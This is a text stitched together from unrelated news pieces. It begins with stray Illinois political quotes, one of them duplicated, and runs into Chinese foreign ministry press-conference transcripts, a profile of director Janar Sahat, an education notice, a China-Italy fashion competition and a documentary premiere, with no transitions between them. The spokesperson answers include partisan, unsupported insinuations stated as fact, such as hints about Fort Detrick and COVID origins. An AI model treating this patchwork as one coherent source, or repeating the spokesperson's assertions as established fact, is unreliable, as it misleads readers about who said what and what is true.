There is a massive infrastructure deficit across the nation, Pritzker said. Each one had a different angle on what they need in this infrastructure bill. For Illinois, I talked not only about the roads and bridges and water ports and how important those are for our industry, as the crossroads of America run through Illinois, but also about building out our early childhood education centers as well as our child care centers. We need real investment in those.
I thought I might be able to make a difference working from the inside, Pope wrote to members of the Legislative Ethics Commission, an eight-member panel that oversees her office. I thought I could be useful in improving the publics view of the legislature and help bring about true ethics reform. Unfortunately, I have not been able to do so. This last legislative session has demonstrated true ethics reform is not a priority.
Pope wrote to members of the Legislative Ethics Commission, an eight-member panel that oversees her office: I thought I might be able to make a difference working from the inside. I thought I could be useful in improving the publics view of the legislature and help bring about true ethics reform. Unfortunately, I have not been able to do so. This last legislative session has demonstrated true ethics reform is not a priority. Full story here.
Were very pleased with the outcome, said James Geoly, an attorney for the archdiocese. We think its a very important decision because it makes clear that the ministerial exception, which is a First Amendment protection for the church, applies not only to cases where the church decides to terminate a minister but also to the whole church-minister relationship.
Xinhua News Agency: According to local media reports, Senegal's President Sall thanked China for its funding and technological support for the Diamniadio park while attending a ground-breaking ceremony for the park's phase two projects. Do you have any comment?

Wang Wenbin: First, warm congratulations on the ground-breaking of Diamniadio park's phase two projects! The park is a flagship of the country's national development strategy "Plan for an Emerging Senegal" (PES). It is also the latest outcome of China-Africa cooperation in promoting sustainable development with the concept of "building nests to attract phoenixes".

The first phase projects of the park were financed by the Senegalese government and contracted by Chinese companies. Many enterprises including Chinese ones have already established business there. The second phase is financed by the Chinese side. The two sides have overcome the impact of COVID-19 and completed the initial stage of work. After the recent ground-breaking, the projects are scheduled to be completed by 2023. To date, more than 20 producers in various sectors like pharmaceutical, electric appliances and textile have expressed interest in setting up operations there. Just as President Sall said, once completed, the park will play a positive role in improving Senegal's economic structure and realizing import substitution. It is expected that 23,000 local jobs will be created before 2023. The UN Industrial Development Organization's representative to Senegal spoke highly of the projects' contribution to the country's industrialization.

Progress in the Diamniadio park epitomizes how China and Africa have worked hand in hand to fight COVID-19 and boost economic recovery. It also embodies the two peoples' spirit of solidarity, cooperation, hard work and perseverance. China stands ready to continue working together with Senegal and other developing countries including those in Africa to achieve more concrete cooperation outcomes and deliver benefits to the people.

Reuters: There has been a record number of COVID deaths in Thailand and Indonesia in the past 24 hours, as well as a spike of infections in Myanmar and Vietnam. Is the Chinese foreign ministry concerned about this, and does it have any plans to change its border policy with Southeast Asia?

Wang Wenbin: We've seen relevant reports. The pandemic is still ongoing in many parts of the world. In light of the evolving global situation, China will decide on prevention and control measures in a coordinated way based on science and professional advice with a responsible attitude towards the life and health of Chinese and foreign citizens. At the same time, we stand ready to work actively towards the healthy, safe and orderly cross-border flow of people.

CCTV: It was announced at yesterday's press conference of the State Council Information Office that the number of giant pandas in the wild has exceeded 1,800 and the species has been downgraded to "vulnerable" from "endangered". Do you have any comment?

Wang Wenbin: This is great news. We are glad to see one great story after another in China's ecology conservation efforts. The living conditions of rare and endangered species in the wild such as giant panda, Tibetan antelope and the milu deer have all been improved. Appearances of mysterious species such as the Chinese mountain cat and rufous-necked hornbill were once again captured. We've seen Siberian tigers paying visits to villages, wild Asian elephants on a northward journey and a whale spotted in Shenzhen's Dapeng Bay. The concept that lush mountains and clear water are worth their weight in gold and silver has taken root among the public in China. Respect for, harmony with and protection of nature has become a conscious choice for all levels of government and the public.

I would also like to stress that the ecology and environment bears on the wellbeing of all humanity, and international cooperation is essential to protection efforts. As a participant and pacesetter contributing to global ecological endeavors, China practices multilateralism and works towards an equitable and sound global environmental governance system featuring win-win cooperation. The Eco Forum Global Guiyang 2021 will be held this month with the theme of "Low-carbon Transition, Eco-DevelopmentBuilding A Life Community of Human and the Natural World Together". In October, China will also host the 15th meeting of the Conference of the Parties to the Convention on Biological Diversity. We stand ready to work with all sides to strengthen international cooperation in ecological preservation and environmental management to jointly protect the beautiful planet we all call home.

Shenzhen TV: Russia's Finance Ministry has completed the asset structure adjustment to the country's sovereign wealth fund the National Wealth Fund (NWF). The shares of the Chinese yuan was increased to 30.4% from 15%. What's your comment?

Wang Wenbin: We welcome Russia's decision to significantly increase shares of the renminbi in its sovereign wealth fund the NWF. It shows Russia's confidence in the prospects of China's economic growth and China-Russia cooperation. We will continue to deepen mutually-beneficial bilateral cooperation, offer each other support in regional and international affairs and safeguard our shared interests.

AFP: British lawmakers urge their government to take tougher action against China over its treatment of minority groups in Xinjiang. They suggested boycott of the Beijing Winter Olympics and a cotton trade ban. Do you have any comment on this?

Wang Wenbin: I already answered a similar question yesterday. I would like to reiterate that China firmly opposes the politicization of sports, and the interference in other countries' internal affairs by using human rights issues as a pretext. Some people attempt to disrupt, obstruct and sabotage the preparation and convening of the Beijing Winter Olympic Games out of political motivation. All sectors of the international community, including the governments and Olympic committees of many countries, and the International Olympic Committee, have all expressed their clear opposition to such practice that is doomed to fail.

China Review News: An Australian official recently said that the claim Australia was undermining China's vaccine aid to Papua New Guinea was "absolutely not the case". Do you have any comment to this?

Wang Wenbin: There's detailed and in-depth media coverage on how Australia has obstructed and sabotaged China's vaccine cooperation with Pacific island countries. Rather than deny it all, it is advisable for the Australian side to state publicly that it welcomes China's vaccine cooperation with Pacific island countries and stands ready to work with China to help the countries fight COVID-19 and safeguard people's health.

CNR: The US Department of State recently published its Trafficking in Persons Report 2021, claiming that 17 countries including China do not fully meet the minimum standards for the elimination of trafficking and there is a government "policy or pattern of widespread forced labor". Do you have any comment?

Wang Wenbin: In disregard of facts, the US side fabricates such reports full of false information year after year by repeating the old rhetoric to groundlessly attack and smear China. It is hellbent on advancing its "lying diplomacy". China deplores and rejects this.

In this report of 600-plus pages, the US glosses over its own problems with less than half a page. This fully reveals the double standard of the US side of being strict with others while treating itself with leniency. Why don't we take a look at some truthful descriptions of forced labor and human trafficking in the US?

The US is the origin, transit and host country of victims of forced labor, debt slavery and involuntary servitude. In the past 5 years, all 50 states and Washington D.C. reported cases of forced labor and human trafficking. Up to 100,000 people are trafficked into the US for forced labor annually and half of them are sold to sweatshops or enslaved in households. In 2019 alone, the FBI reported 1,883 cases of human trafficking, over 500 more than 2018. According to the statistics of some US academic institutions, at least 500,000 people in the country have been subjected to modern slavery and forced labor. The victims include not only US citizens, but also foreign citizens from almost every region of the world, even vulnerable groups such as women, children and the disabled.

According to a story published by The Guardian on June 29, 2017, prisons and jails across the US have chaotic management. Human traffickers often smuggle incarcerated women out of correctional facilities and force them into sex trade through drug control, brutal beatings and other means. Those women are caught in the endless trap of criminal exploitation and incarceration. According to information disclosed on the website of the US Department of Justice on July 11 and November 8 in 2018, Eric Scott Kindley, a former federal prisoner transport officer, repeatedly committed sexual assaults against female prisoners during his time in office, causing serious physical and mental harm to the victims.

The US government treat asylum seekers with cruelty. According to a CNN report on September 30, 2020, 21 people died in Immigration and Customs Enforcement (ICE) custody in the 2020 fiscal year. That's more than double the number of deaths in fiscal year 2019 and the highest annual death toll since 2005. The Los Angeles Times reported on October 30, 2020 that a large number of migrant children are detained for a long period of time. Data shows that of the 266,000 migrant children held in US government custody, 25,000 were detained for longer than 100 days over the past years. Nearly 1,000 migrant children have spent more than a year in refugee shelters. Several children have spent more than five years in custody. More than a dozen women from Latin America and the Caribbean filed a class-action lawsuit in the U.S. District Court for the Middle District of Georgia, accusing an ICE detention center gynecologist of performing "medically unnecessary" surgery without their consent, including hysterectomy, which wreaked havoc on their mind and body. According to a Guardian report on October 22, 2020, US immigration officers threatened Cameroonian asylum seekers and forced them to sign their own deportation orders. Those who refused to do so were choked, beaten, pepper-sprayed and were put in handcuffs and their fingerprints were taken forcibly in place of a signature on documents called stipulated orders of removal, by which the asylum seekers waive their rights to further immigration hearings and accept deportation.

The US government has continued to forcibly repatriate immigrants amid COVID-19. According to ICE data, as of January 14 this year, 8,848 detainees have tested positive for COVID-19. The Los Angeles Times reported on November 18, 2020 that the US administration had expelled at least 8,800 unaccompanied migrant children since March in disregard of the risk of virus transmission. UNICEF has said migrant children forcibly returned from the United States to Mexico and Central America are facing danger and discrimination.

The US report, blind to plain facts, wantonly smears and maligns China. The Chinese government attaches high importance to cracking down on human trafficking and has achieved notable results. It earnestly implements the Protocol to Prevent, Suppress and Punish Trafficking in Persons Especially Women and Children, supplementing the United Nations Convention against Transnational Organized Crime. In 2007, 2013 and this year, we adopted three national action plans on combating trafficking in women and children for the periods of 2008-2012, 2013-2020 and 2021-2030 respectively. At the State Council, an interdepartmental joint meeting mechanism on fighting abduction has been established consisting of 35 departments. We have improved a government-led working mechanism with the broad participation of all social sectors. This has provided a strong institutional framework to prevent and fight human trafficking and rescue and protect victims. In China, the annual average of cases involving children being stolen or grabbed is only about 20 and the cases are virtually all promptly resolved after quick investigation.

The US has no authority to act as a judge on human rights. It should earnestly reflect on its human rights crimes including forced labor and human trafficking, stop vilifying others and stop interfering in other countries' domestic affairs with human rights as a cover.

AFP: About Afghanistan, the situation is changing fast in the country as the Taliban has launched major offensives against the government forces. I would like to know, does China fear return to power of Taliban? Does China have regular contact with the Taliban? And in exchange for supporting the Taliban, could China ask them to stop all contact with the Uyghurs?

Wang Wenbin: Currently, the Afghan situation is at an extremely important crossroads between war and peace, chaos and order, which poses grave challenges. Although the US has basically finished the withdrawal of troops from Afghanistan, it still bears the responsibility of helping the nation to uphold stability, forestall turbulence and realize peace and reconstruction. As the culprit that started the Afghan issue, the US should act in a responsible manner to ensure smooth transition in Afghanistan. It shouldn't shift the blame and responsibility to others and simply take to its heels. Efforts must be made to make sure the withdrawal doesn't lead to turbulence and fighting.

China always believes that political negotiation is the only right way to resolve the Afghan issue. We call on parties to the peace negotiation to put the interests of the country and people first, sustain the momentum for intra-Afghan talks, work for the return of the Afghan Taliban in a moderate way to the political mainstream, jointly forge a broad-based and inclusive future political framework, and lay the foundation for lasting peace in Afghanistan.

China stands ready to join regional countries and the international community in making active efforts to advance intra-Afghan talks and Afghanistan's peace and reconstruction.
CCTV: On July 13, the 47th Session of the Human Rights Council adopted a resolution on combating systemic racism submitted by African countries. Could you offer more details? What's your comment?

Zhao Lijian: On July 13, the 47th Session of the Human Rights Council adopted a resolution on combating systemic racism submitted by African countries. The resolution deplores all forms of racial discrimination, including systemic and structural racism, and condemns the continuing racially discriminatory and violent practices perpetrated by many law enforcement officials against Africans and people of African descent. It recalls the tragic murder of George Floyd in Minnesota, the US, on 25 May 2020, which drew attention to the scourge of systemic and structural racism and galvanized efforts to address this global problem in the US and around the world. It notes that the transatlantic slave trade is among the major sources and manifestations of racism, racial discrimination, xenophobia and related intolerance, and that Africans and people of African descent, Asians and people of Asian descent and indigenous peoples were victims of these acts and continue to be victims of their consequences. The resolution decides to establish an international independent expert mechanism in order to realize racial justice and equality, especially relating to the legacies of colonialism and the transatlantic slave trade in enslaved Africans, and ensure accountability and redress for victims. The international independent expert mechanism and the High Commissioner will present to the Human Rights Council their respective written reports on an annual basis.

The tragedy of George Floyd highlights the urgency and importance of curbing systemic racism and racial discrimination in the US and beyond. The international community must act now. This resolution is the first one dedicated to combating systemic racism adopted by the HRC after George Floyd was killed. It sets out the systemic agenda for the international community to tackle systemic racism and racial discrimination and protect the human rights of Africans and people of African descent, Asians and people of Asian descent and indigenous peoples. The adoption of this strong resolution will further galvanize international consensus and bring new impetus to the world anti-racism cause.

Countries who are beset by serious racism, racial discrimination, xenophobic violence and who engaged in or profited from enslavement, the transatlantic slave trade and colonialism should show the political will and courage to take responsibility for their crimes in history, and take substantive measures to resolve the ongoing racial discrimination and violent exclusivism, so as to reveal the truth and deliver justice to victims. They should also work with the international community to achieve racial justice and equality, truly promote and protect human rights, and avoid repeating the tragedy of George Floyd and the numerous victims of racism.

Reuters: Reuters reported at least 6 Chinese nationals died in the bus attack in Pakistan today. Can the spokesman confirm the number please? Do you have any comment on this attack?

Zhao Lijian: China is shocked by and condemns the bomb attack in Pakistan's Khyber Pakhtunkhwa province which caused Chinese casualties, mourns for the Chinese and Pakistani personnel killed in the attack, and expresses sympathy to their families and the injured. Pakistani security forces have taken measures to control the situation, properly transfer and treat the wounded. China has asked the Pakistani side to thoroughly get to the bottom of this as soon as possible, arrest the perpetrators, severely punish them and earnestly protect the safety of Chinese personnel, institutions and projects in Pakistan.

Beijing Daily: The 47th session of the UN Human Rights Council will be concluded today. The spokesperson mentioned that many countries have endorsed a joint statement supporting China. Is there any update on the list of countries that have joined the endorsement?

Zhao Lijian: Nigeria has just endorsed the joint statement of friendly countries in support of China at the 47th session of the UNHRC. We welcome Nigeria into the ranks of justice. To date, the number of countries that have joined the endorsement has reached 68. If we add the countries that have voiced their support for China by making statements in their national capacity or by sending joint letters, over 90 countries have spoken for justice at the UNHRC regarding China. They stressed that issues relating to Hong Kong, Xinjiang and Tibet are China's internal affairs where there should be no external interference. They rejected politicizing human rights issues and applying double standard and voiced opposition to wanton criticism targeting China driven by political motives and based on disinformation.

The facts are indisputable and the lies will eventually fall apart. A handful of Western countries have been spreading political lies and blatantly meddling in other countries' domestic affairs with human rights as a cover at the HRC. Such acts have been and will continue to be firmly rejected by the international community. During this HRC session, a large number of developing countries have voiced their grave concern over the systemic racism, vaccine nationalism, violation of human rights in detention facilities for immigrants, military interventionism, unilateral coercive measures and other human rights issues in Western countries. These Western countries concerned should heed the international call for justice, step out of their illusion of constantly lecturing others on human rights, take a hard look at their own grave human rights issues and adopt concrete measures to address them, and make some tangible efforts to promote their own people's welfare and the development of the global human rights cause.

People's Daily: From July 12 to 13, State Councilor and Foreign Minister Wang Yi paid an official visit to Turkmenistan, where he met and held talks with Turkmen leaders. Could you give us a bit more details about this visit?

Zhao Lijian: From July 12 to 13 local time, State Councilor and Foreign Minister Wang Yi met and held talks with Turkmen President Gurbanguly Berdimuhamedov, Deputy Prime Minister and Foreign Minister Rashid Meredov, and Deputy Prime Minister and Turkmen President of China-Turkmenistan Cooperation Committee Serdar Berdimuhamedov in Ashgabat respectively for in-depth exchanges on bilateral relations and issues of common concern.

Noting that China regards Turkmenistan as a truly reliable strategic partner, Wang Yi said, China-Turkmenistan relations have always maintained a sound development momentum under the strategic leadership of the two heads of state. China will firmly support Turkmenistan in pursuing a development path suited to its own national conditions. Taking the celebration of the 30th anniversary of the establishment of diplomatic ties between the two countries as an opportunity, China stands ready to work with Turkmenistan to further deepen political mutual trust, expand all-round cooperation, strengthen coordination and cooperation on major international and regional issues, and further turn the high-level cooperation between the two countries into tangible results for the benefit of the two peoples on an extensive basis.

The Turkmen side offered warm congratulations on the centenary of the CPC, and hailed the brilliant achievements made by the Chinese people under the leadership of the CPC. Turkmenistan and China have established a high level of political mutual trust, given each other understanding and support on issues concerning each other's core interests, and continuously deepened mutually beneficial cooperation and people-to-people and cultural exchanges. Turkmenistan stands ready to consolidate its strategic partnership with China on the basis of mutual respect, equality and mutual benefit.

The two sides agreed to align the Belt and Road Initiative (BRI) with Turkmenistan's development strategy to revive the Great Silk Road at a faster speed, negotiate and sign BRI cooperation documents at an early date, work out a plan for cooperation between the two countries in the next five years and a plan for expansion of partnership in the economic field, and sign cooperation documents in various fields such as international road transport agreements. The two sides also had in-depth exchange of views on the situation in Afghanistan and other international and regional issues of common concern.

Hubei Media Group: It is reported that Papua New Guinea has started inoculation with China-assisted Sinopharm vaccines. Can you give us more details?

Zhao Lijian: On July 13, Papua New Guinea (PNG) officially started vaccinating its people with Chinese vaccines. The PNG Minister of Health and Minister of Forestry attended the ceremony. The Minister of Forestry and several PNG officials received jabs on the spot. The PNG side said at the launch ceremony that the safety and effectiveness of the Chinese vaccine have been fully tested and thanked the Chinese side for providing the PNG people with a new choice against the novel coronavirus.

PNG is the third Pacific island country after the Solomon Islands and Vanuatu to roll out Chinese vaccines nationwide. This is a manifestation of China's pledge to make vaccines a global public good in Pacific island countries, and a concrete action taken by China to promote the building of global community of health for all. China will continue to deepen cooperation with Pacific island countries in fighting the epidemic, and provide support within its capacity to those island countries in need to help them defeat the virus.

Reuters: US president Joe Biden met with ASEAN today, he reiterated that US rejected China's maritime claims in the South China Sea. He also reiterated that US stands with the Southeast Asian nations, the nations with sovereignty claims, in face of China's coercion. Do you have any comment on this?

Zhao Lijian: China has made its position clear on the South China Sea issue many times.

The remarks of the US side disregard history and facts about the South China Sea issue, violate and distort international law, break the US government's long-held public commitment of not taking a position on the South China Sea sovereignty issue, deliberately stoke disputes on territorial sovereignty and maritime rights and interests, sow discord among China and ASEAN countries, and sabotage regional peace and stability. This is extremely irresponsible. China expresses its firm opposition to the wrong remarks of the US. I'd like to stress that the US calls itself a defender of international law, keeps referring to UNCLOS and making an issue out of it. Why doesn't it accede to the Convention first?

Beijing Youth Daily: According to media reports, 41 US states and Washington D.C. all registered spikes in COVID-19 infection during the past two weeks, with the number of confirmed cases more than doubling in 9 states. American media reported that more than 20 states had stopped daily updates on epidemic data. The lack of timely monitoring data may lead to blind spots in prevention efforts, experts worry. However, amid the severe situation at home, some US politicians are still pushing for an origin-tracing investigation targeting China. Do you have a comment?

Zhao Lijian: The COVID-19 pandemic is a ruthless litmus test.

First, it has shown that some US politicians care nothing about life. The US has maintained the world record for the highest tally of COVID-19 infection and mortality. Despicably, some US politicians, instead of focusing on combating the virus and saving lives, resorted to taking advantage of the pandemic to engage in political manipulation and blame-shifting.

Second, it has shown that some US politicians have no respect for science. The US has been denying the science-based conclusion of the WHO joint team of experts and has drawn on its intelligence apparatus to conduct the so-called investigation of origins. It also fabricated and spread the rumor and lie that the virus came from a lab leak in Wuhan and tried to muffle the objective, just and rational voice from the science community.

Third, it has also shown that some US politicians couldn't care less about truth. With regard to COVID-19, the US is a terrible bookkeeper. It turns a blind eye to domestic earlier cases that have been reported, sidesteps questions about the large-scale EVALI outbreak in Wisconsin in July 2019, and remains evasive about the mystery-shrouded Fort Detrick biological base. If they truly care about the truth, why not invite WHO experts to the US to investigate? Why clam up whenever Fort Detrick is mentioned?

Facts speak louder than words and justice always prevails. No matter how US politicians clatter and clamor, their attempt to politicize study of origins and scapegoat other countries can only end up in failure.

Bloomberg: Two questions from Bloomberg. Multiple media have reported that the US will warn American companies this week on the increasing risk of operating in Hong Kong. Does the foreign ministry have any comment? And second question. It is reported that the White House officials are said to be discussing proposals for a digital trade agreement covering Indo-Pacific economies. It's said to be a way to check China's influence in the region. Does the foreign ministry have any comment on this?

Zhao Lijian: On your first question, we always firmly oppose the US interference in China's internal affairs under the pretext of the Hong Kong issue. The Basic Law of Hong Kong and other relevant laws clearly protect the rights and interests of foreign investors. Since the implementation of the Law on Safeguarding National Security in the Hong Kong SAR last year, the society in Hong Kong has returned to the right track and the Pearl of the Orient has become even more shiny. The so-called advisory to be issued by the US side is a typical political manipulation with double standard.

On your second question, please refer to yesterday's press conference.

The Paper: The US Department of State issued a statement on July 13, saying that it, alongside the Department of the Treasury, the Department of Commerce, the Department of Homeland Security, the Office of the US Trade Representative, and the Department of Labor, issued an updated Xinjiang Supply Chain Business Advisory in response to the Chinese government's ongoing "genocide and crimes against humanity in Xinjiang and the growing evidence of its use of forced labor there". Do you have any comment on that?

Zhao Lijian: The US has been spouting the same old lies in the Xinjiang-related reports it issued one after another. The repetition of lies just lays bare its hypocrisy and hegemony on human rights.

Speaking of genocide, crimes against humanity and forced labor, I would like to ask you a question. Why does the US have these charges so readily on hand when it is falsely accusing other countries? The simple answer is that they are the sins the US once committed.

In the US, native Indians who made up the majority of the population of North America, were expelled and killed during the Westward Expansion. Their population has now dwindled to two percent of the total US population. Isn't this genocide? The US has a history of trafficking, abusing and discriminating against black slaves that dates back centuries. It committed the heinous Tulsa Race Massacre 100 years ago against African Americans. Isn't this genocide? There are approximately 500,000 child farmworkers in the US. Many of these children start working as young as age 8, and 72-hour work weeks are common. There are frequent occurrences of child occupational deaths. Isn't this forced labor? Tens of thousands of people are trafficked into the US and sold to sweatshops annually, and at least 500,000 people in the country have been subjected to modern slavery. Isn't this forced labor?

The sins of the US go far beyond that. Look at people like George Floyd who can't breathe under the suppression of White supremacists, ethnic minorities whose life is overshadowed by hate crimes, refugees and immigrants who suffer from cruel treatment and live in misery, and foreign civilians who were illegally killed and brutally abused by US troops under the pretext of fighting terrorism. They are denouncing the US acts of crimes against humanity all the time.

The US side should know that no matter how hard it tries to fabricate lies on Xinjiang, their sinister plot of containing China by using Xinjiang as an excuse is doomed to fail. The attempt to shirk responsibilities by scapegoating others and diverting attention will only lead to a dead end when confronted by justice and conscience and be shattered in the face of facts and truth. For the US, the right way forward is to reflect on itself, avoid going down the wrong path further and earnestly face up to and address its own problems.

China Daily: According to US media reports, the Boy Scouts of America reached an $850 million settlement with a group of about 60,000 sex-abuse survivors. It is also reported that this is one of the largest child sexual abuse case in US history. Do you have any comment?

Zhao Lijian: This case is shocking, but it's just the tip of the iceberg for the problem of children's rights in the US.

The number of child abuse cases in the US remains high. According to the Child Maltreatment 2019 report released by the Administration for Children and Families, a division of the US Department of Health and Human Services, 3.5 million child abuse cases were reported in the US in 2017, up by 10% from 2013; the number of children determined to be victims of maltreatment grew by 2.7% to about 674,000, among which an estimate of 1,720 children died from abuse and neglect; and 8.6% of victims were sexually abused.

In the US, the use of child labor is prevalent. According to US official statistics, in 2019, US law enforcement officers found 858 cases of child labor in violation of the Fair Labor Standards Act. There are approximately 500,000 child farmworkers in the US. Many of these children start working as young as age 8, and many work more than 10 hours per day. Children are three times more susceptible to the pesticides' carcinogenic effects than are adults. According to the US Government Accountability Office, between 2003 and 2016, 452 children died as a result of workplace injuries, among which over half, or 237 children, died in farm-related work accidents.

In the US, child poverty is beyond imagination. According to a report released by the US Children's Defense Fund, about 10.5 million children - nearly 1 in 7 (14.4%) - lived in poverty in 2019. Among them, 71% were children of color. About 3.6 million children under six lived in poverty and nearly 1.6 million lived in extreme poverty. The problem of child poverty is so serious in the US, the largest developed country in the world, that Children's Defense Fund describes it as the "greatest moral disgrace" of the US.

The US is the only country in the world that has not ratified the United Nations Convention on the Rights of the Child (UNCRC). While claiming to be a "beacon of human rights", the US has done nothing but point fingers at others. Why doesn't the US accede to the Convention first? If the US truly cares about human rights, especially the rights of children, it should start with addressing its own human rights issues at home, and resolve the "greatest moral disgrace" first.

AFP: Indian media has reported new clashes this year between Chinese and Indian border troops near the Galwan River. Can you confirm this and provide any detail?

Zhao Lijian: I am not aware of the situation you mentioned.

Bloomberg: The Philippines' foreign minister said today that the US vaccination campaign showed that democracies work, while autocracies are falling all over the place. Does the foreign ministry have any comment?

Zhao Lijian: No country holds a patent on democracy, which cannot be defined by Western ideology and values. Just take a look at the so-called Western democracies. How are they doing in the fight against COVID-19? Which country holds the world record in both infection and death tally? Look at the grave racism, racial discrimination and other human rights issues in these countries, which I talked about in detail just now. If these are the perks that come with being a "democracy", as a Chinese, I see nothing to envy.
Ask Janar Sahat how to make a period drama and her answer is simple: stay true to the historical figures and forget about the market.

The first thing the 53-year-old director does after deciding to start work on a new project is to read the script thoroughly and dive deep into a sea of memoirs, biographies and other historical materials.

Driven by the fidelity to history, Janar Sahat has made her name in the television industry after decades of experience in direction.

Her recently aired work, "The Great Waves," is a 40-episode series recounting the early development of the Communist Party of China.

A mastery of historical accounts provides her the confidence to pursue creativity in period dramas.

"It is laborious to prepare for and shoot such scripts. I must read a lot, heed the details that I previously missed and have a better understanding of the Chinese history spanning various time periods because respecting history is of utmost importance," she said.

Born in northwest China's Xinjiang Uygur Autonomous Region and raised in Beijing, Janar Sahat, a member of the Kazakh ethnic group, has 20 creations to her credit. She has also won top national awards during her career spanning 27 years.

Her works include "How the Steel Was Tempered," a TV series, released in 2000, adapted from the eponymous novel arising from the Soviet Union in the 1930s.

Janar Sahat started her rendezvous with literature and art, and was exposed to rich cultural diversity at the age of two when her family moved to Beijing to comply with her father's job transfer. Both her parents were journalists.

During her growing up years, she used to live in an apartment complex dwelled by her father's colleagues from various ethnic minorities from across China. Her mother would read Kazakh poems in rhythm to her whenever she had time off work.

"At that time, on almost every weekend, my family received visitors on business trips from Xinjiang. After dining together, they strummed the traditional musical instrument tamboura, danced to the music and talked about their newly-published poems and newly-authored books," she recalled.

Participating in such activities piqued her interest in art. During her primary school years, she often performed on the stage. In the later years, however, Janar Sahat distanced herself from performing as her academic grades slipped.

When she was 17, a call from a film director pulled her back to the realm of performing art.

"I felt numb at that moment when I received the call from director Guang Chunlan, saying she wanted me to play the lead role in 'Romance of an Orphan Girl,'" Janar Sahat said, adding that she could not believe the news.

A newbie to acting, she succeeded in the role following the director's detailed instructions and her own understanding. She realized that "the experience rekindled her interest in performing arts."

Later, she was admitted to the Central Academy of Drama, and refocused her major from acting to direction after finishing her freshman year at the academy.

Janar Sahat honed her skills in direction, pursuing undergraduate and graduate courses at the All-Russian State University of Cinematography, on a scholarship from the Chinese government.

"During the years when I was away from home, I learned Russian language and direction from scratch," she said. "Initially, when I used to go to the theater to watch movies, I could hardly understand the lines, but I just sat there watching over and over."

In retrospect, she said, her "aha moment" came after years of language learning, studying film appreciation, having discussions with her classmates, teachers and insiders from the industry, and more importantly, by practicing film making.

In Moscow, she made her debut featurette "The Eighth Day of the Week" as her graduation project. She also co-directed the "Red Cherry," a film released in 1995, in which she was in charge of amending the script, casting and organizing extras, among other tasks.

"This time I learned how to direct step by step, putting professional knowledge and skills I acquired into practice and staggering over one obstacle after another. The results turned out to be good," she said.

In 1998, she returned to China. Thereafter, she worked on several television projects, mostly centering on Chinese history.

Over the years Janar Sahat has developed her own style of directing.

She follows up on the entire teleplay-making process from script reading, casting, dubbing, final cut, to its broadcasting.

She doesn't usually cast megastars, and instead chooses artists who share similar characteristics like age and temperament to the historical figures, even though they may be less experienced.

She also persists in ascertaining the details concerning the historical figures as she thinks the specifics are what make the show lively.

"Almost every line the actors deliver in the series I direct has been kept in accordance with historical facts so that the dialogue of the characters could be as credible as possible," she said.

Even some fictional plots of the TV series are settled after consulting with the technical director and experts from the relevant fields in order to ensure the plots "make sense."

After completing one project, she would shun the spotlight and prefer to stay at home reading books to prepare for the next series, as her motto is "to pursue continuous self-improvement."

"I take every task seriously, no matter how small it is," she said.

She goes back to her hometown of Xinjiang once a year, accompanying her father and revisiting the places her parents had mentioned to her.

Janar Sahat has two goals for her future career: try to create film and TV works of various themes and craft one for Xinjiang.
All compulsory education institutions in China will provide their students with after-school services starting fall semester 2021, the Ministry of Education announced Tuesday.

After-school services are intended for students whose parents have trouble picking them up when school hours end. The ministry stipulated that such services are to be provided on every school day, and the duration should be no less than two hours, depending on the end of local daily work hours.

Speaking of the summer vacation daycare services at school, the ministry said they consist of mainly guided extracurricular activities instead of subject classes, and that participation for both students and teachers is entirely voluntary.
Fashion trends are notoriously difficult to predict. What is in fashion one moment may be out of fashion the next. Add to this uncertainty the age in which we live and technological innovation, such as virtual reality, novel fabrics and 3D design, will obviously play a part.

To examine what this world might look like, the China-Italy Youth Future Fashion Design Competition tries to explore the possibilities and outcomes brought about by the integration of technology and design.

Applications from designers and artists across the world have been flooding in since July 8 for the event, which is one of the key dates in calender of the China-Italy Year of Youth Innovation and Entrepreneurship, which was launched in November by Tsinghua University in Beijing and the Polytechnic University of Milan in Italy.

It was established to mark the occasion of the 50th anniversary of diplomatic relations between China and Italy, according to Fu Zhiyong, associate professor of Tsinghua University's Academy of Arts and Design, and deputy director of the China-Italy Design Innovation Hub.

Hosted by Tsinghua University and the Polytechnic University of Milan, the competition's theme is "Tech for Fashion" to look into how technology has changed, and will continue to change, the design sector.

"We hope to build the competition into an international communication platform for designers from around the world," Fu says, adding that the event can help promote cultural exchanges between China and Italy.

He says that, after the competition, there will be follow-up policies supporting Italian designers and teams to produce work in China and vice versa.

Open to applicants under the age of 45, the competition has three categoriesfashion design, fashion technology and fashion lifestylewith the top winners receiving 120,000 yuan ($18,563) each. The deadline for applications is Sept 6.

The final result will be announced at the World Textile Merchandising Conference to be held in Shaoxing, Zhejiang province, on Oct 26. Award-winning works will be presented at the exhibition held by the China-Italy Design Innovation Hub during the 2022 Milan Design Week.

Chen Nan, professor at the Academy of Fine Arts at Tsinghua University, says that such an event "can be helpful for the younger generations from two ancient civilizations to understand and communicate with each other in a fashionable way".

Also deputy director of the Research Center of Ancient Chinese Characters Art, Chen looks to see entries that embody traditional culture, both from China and Italy, in modern design.

"Just like Giacomo Puccini's Turandot making Chinese folk song Molihua (Jasmine Flower) known to the world, young designers should learn from that and think about how to make Oriental elements understandable to the world," Chen says.

Su Dan, deputy director of the Tsinghua University Art Museum, says that he hopes to see entries discussing technology and clothing.

Frequently traveling between China and Italy for cultural exchanges since 2006, Su says that Italian and Chinese cultures are quite different and the goal of the competition is to provide a platform for young designers to communicate and overcome the barriers of space, time and culture.

Chen agrees that young designers from the two countries may not know much about each other, but the fusion of different cultures will provide different dimensions and inspiration in their designs.

Li Jinliang, director of the competition's organizing committee, head of Tsinghua University's Office of International Affairs, says that the two universities will work together to deepen cultural and people-to-people exchanges between China and Italy.

Since the establishment of diplomatic relations between the two countries in 1970, bilateral relations have developed rapidly, bearing fruitful results in various fields. In 2004, China and Italy established a comprehensive strategic partnership.

Next year is designated as the Italy-China Year of Culture and Tourism during which a series of activities in the fields of performance arts, visual arts, creativity design, cultural heritage, tourism, film and television will be held.
You are here: Arts

The world premiere of Malcolm Clarke's new documentary "A Long Cherished Dream" was held in Beijing on July 13, 2021.

In the film, Clarke, a two-time Oscar-winning director from the United Kingdom, tells the stories of individual awakenings, throwing light on journeys taken by the Chinese people towards a better future.

The world has been amazed by the rapid development of China over the last three decades. The protagonists of this film are the witnesses and creators of China's transformation. They are confident, determined, and kind-hearted.

Their wisdom, perseverance, and struggles not only allowed them to change their destinies but also add vigor and vitality to China's development.

A poster for "A Long Cherished Dream" [Photo/China Report]

The documentary film is set for a July 15 release on CCTV, Fujian Straits Satellite TV, SETV, Tencent Video, Discovery, and British Sky Broadcasting platforms.
[Photo/VCG]

